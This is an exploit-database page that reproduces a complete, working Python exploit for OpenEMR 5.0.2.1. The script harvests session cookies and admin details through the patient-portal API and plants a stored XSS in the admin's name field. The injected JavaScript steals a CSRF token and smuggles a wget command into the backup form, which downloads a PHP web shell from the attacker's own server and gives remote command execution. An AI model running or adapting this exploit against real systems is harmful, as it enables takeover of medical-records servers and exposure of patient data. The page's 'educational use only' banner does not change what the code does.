发布 2021-04-21 漏洞条目

OpenEMR 5.0.2.1 – Remote Code Execution

Exploit Source

# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution

# Exploit Author: Hato0, BvThTrd

# Date: 2020-08-07

# Vendor Homepage: https://www.open-emr.org/

# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download

# Version: 5.0.2.1 (without patches)

# Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1

# References:

# https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu

# https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo

#!/usr/bin/python3

WARNING='''

===================================== WARNING =====================================

Please do not use for illegal purposes. It's for educational use only.

Please be on the good side.

===================================================================================

'''

import argparse

import http.server

import socketserver

import requests

from termcolor import colored

import json

OPENEMR_DIR = ""

RHOST = "127.0.0.1"

RPORT = 80

VHOST = ""

LHOST = "127.0.0.1"

LPORT = 4444

WPORT = 8080

def main():

print(colored(WARNING, "red"))

arguments()

cookie1, cookie2 = init_session()

jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"])

write_payload_js()

write_wshell()

send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived)

if len(VHOST) > 0 :

print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')

else:

print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')

web_serv()

def arguments():

parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')

parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS")

parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True)

parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int)

parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME")

parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True)

parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True)

parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int)

args = parser.parse_args()

if(args.directory != None):

global OPENEMR_DIR

OPENEMR_DIR = str(args.directory)

if OPENEMR_DIR[-1] != "/":

OPENEMR_DIR += "/"

if(args.rhost != None):

global RHOST

RHOST = str(args.rhost)

if(args.rport != None):

global RPORT

RPORT = int(args.rport)

if(args.vhost != None):

global VHOST

VHOST = str(args.vhost)

if(args.lhost != None):

global LHOST

LHOST = str(args.lhost)

if(args.lport != None):

global LPORT

LPORT = int(args.lport)

if(args.wport != None):

global WPORT

WPORT = int(args.wport)

def init_session():

r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})

if (r.status_code != 200):

print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')

exit(1)

else:

print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}')

cookies = {"OpenEMR" : r.cookies["OpenEMR"]}

r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)

if (r.status_code != 200):

print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')

exit(1)

else:

print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}')

cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]}

return (cookies, cookies2)

def get_api(cookieEMR, cookiePortal):

cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}

r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)

parsed_json = (json.loads(r.text))

for row in parsed_json['rows']:

if row['authorized'] == str(1):

print(colored("[+]", "green"),f'Find admin :')

print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}')

print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}')

print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}')

print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}')

id = row['id']

json_to_return = row

if (r.status_code != 200):

print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')

exit(1)

else:

return (json_to_return, id)

def write_payload_js():

payload = "var xmlHttp = new XMLHttpRequest();\n"

payload += "var token = window.location.href;\n"

if len(VHOST) > 0 :

payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR)

payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR)

else:

payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR)

payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR)

payload += "var cookieSet = 'OpenEMR=';\n\n"

payload += "token = token.split('=')[1];\n\n"

payload += "xmlHttp.open( 'GET', backUrl, false );\n"

payload += "xmlHttp.send(null);\n\n"

payload += "var response = xmlHttp.responseText;\n"

payload += "var elemHTML = response.split(' ');\n"

payload += "var csrf = '';\n\n\n"

payload += "for(var i=0; i < elemHTML.length; i++)\n"

payload += "{\n"

payload += "\t if(elemHTML[i] == 'name=\"csrf_token_form\"')\n"

payload += "\t {\n"

payload += "\t\t csrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n"

payload += "\t\t break;\n"

payload += "\t }\n"

payload += "}\n\n\n"

payload += "var formData = new FormData();\n\n"

payload += "formData.append('csrf_token_form', csrf);\n"

payload += "formData.append('form_sel_lists[]', 'amendment_status');\n"

payload += "formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n".format(LHOST,WPORT)

payload += "formData.append('form_step', '102');\n"

payload += "formData.append('form_status', '');\n\n"

payload += "var request = new XMLHttpRequest();\n"

payload += "request.open('POST', backUrl);\n"

payload += "request.send(formData);\n"

with open('payload.js','w') as fpayload:

for line in payload:

fpayload.write(line)

fpayload.close()

print(colored("[+]", "green"),f'Payload XSS written')

def write_wshell():

with open('wshell.php','w') as fwshell:

fwshell.write("<?php system($_GET['cmd']); ?>\n")

fwshell.close()

print(colored("[+]", "green"),f'Wshell written')

def send_xss(id, cookieEMR, cookiePortal, jsonData):

cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}

jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT)

jsonData["cpoe"] = 1

jsonData["source"] = 1

jsonData.pop("id",None)

data = json.dumps(jsonData, indent = 4)

r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data)

print(colored("[+]", "green"),f'Stored XSS dropped')

def web_serv():

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", WPORT), Handler) as httpd:

print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}')

httpd.serve_forever()

if __name__ == "__main__":

main()

作者: Hato0
日期: 2021-04-21
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection